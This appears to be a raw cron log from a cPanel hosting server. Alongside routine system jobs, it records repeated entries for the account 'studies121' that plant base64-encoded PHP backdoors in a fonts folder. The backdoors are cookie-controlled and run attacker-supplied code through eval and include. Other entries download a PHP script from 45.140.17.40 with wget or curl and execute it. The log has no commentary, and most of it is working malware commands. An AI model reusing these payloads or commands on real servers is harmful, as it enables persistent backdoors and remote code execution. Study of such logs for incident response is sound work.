Sep  1 00:46:01 ip-184-168-122-23 CROND[21265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:46:01 ip-184-168-122-23 CROND[21264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:46:01 ip-184-168-122-23 CROND[21268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:46:01 ip-184-168-122-23 CROND[21271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 00:46:01 ip-184-168-122-23 CROND[21270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:46:01 ip-184-168-122-23 CROND[21272]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 00:46:01 ip-184-168-122-23 CROND[21273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:47:01 ip-184-168-122-23 CROND[21364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:47:01 ip-184-168-122-23 CROND[21366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:47:01 ip-184-168-122-23 CROND[21367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:47:01 ip-184-168-122-23 CROND[21368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:48:01 ip-184-168-122-23 CROND[21503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:48:01 ip-184-168-122-23 CROND[21505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:48:01 ip-184-168-122-23 CROND[21506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:48:01 ip-184-168-122-23 CROND[21507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:48:01 ip-184-168-122-23 CROND[21508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:49:01 ip-184-168-122-23 CROND[21642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:49:01 ip-184-168-122-23 CROND[21644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:49:01 ip-184-168-122-23 CROND[21645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:49:01 ip-184-168-122-23 CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21917]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:50:01 ip-184-168-122-23 CROND[21923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21922]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:50:01 ip-184-168-122-23 CROND[21926]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:50:01 ip-184-168-122-23 CROND[21928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:51:01 ip-184-168-122-23 CROND[22020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:51:01 ip-184-168-122-23 CROND[22024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:51:01 ip-184-168-122-23 CROND[22022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:51:02 ip-184-168-122-23 CROND[22023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:52:01 ip-184-168-122-23 CROND[22123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:52:01 ip-184-168-122-23 CROND[22125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:52:01 ip-184-168-122-23 CROND[22126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:52:01 ip-184-168-122-23 CROND[22128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:52:01 ip-184-168-122-23 CROND[22127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:53:02 ip-184-168-122-23 CROND[22224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:53:02 ip-184-168-122-23 CROND[22225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:53:02 ip-184-168-122-23 CROND[22228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:53:02 ip-184-168-122-23 CROND[22226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:54:01 ip-184-168-122-23 CROND[22304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:54:01 ip-184-168-122-23 CROND[22305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:54:01 ip-184-168-122-23 CROND[22307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:54:01 ip-184-168-122-23 CROND[22308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:54:01 ip-184-168-122-23 CROND[22306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:55:01 ip-184-168-122-23 CROND[22480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:55:01 ip-184-168-122-23 CROND[22482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:55:01 ip-184-168-122-23 CROND[22483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:55:01 ip-184-168-122-23 CROND[22485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:55:01 ip-184-168-122-23 CROND[22486]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:55:01 ip-184-168-122-23 CROND[22484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:56:01 ip-184-168-122-23 CROND[22576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:56:01 ip-184-168-122-23 CROND[22579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:56:01 ip-184-168-122-23 CROND[22578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:56:01 ip-184-168-122-23 CROND[22580]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:56:01 ip-184-168-122-23 CROND[22581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:57:01 ip-184-168-122-23 CROND[22673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:57:02 ip-184-168-122-23 CROND[22677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:57:02 ip-184-168-122-23 CROND[22675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:57:02 ip-184-168-122-23 CROND[22678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:58:01 ip-184-168-122-23 CROND[22767]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 00:58:01 ip-184-168-122-23 CROND[22769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:58:01 ip-184-168-122-23 CROND[22773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
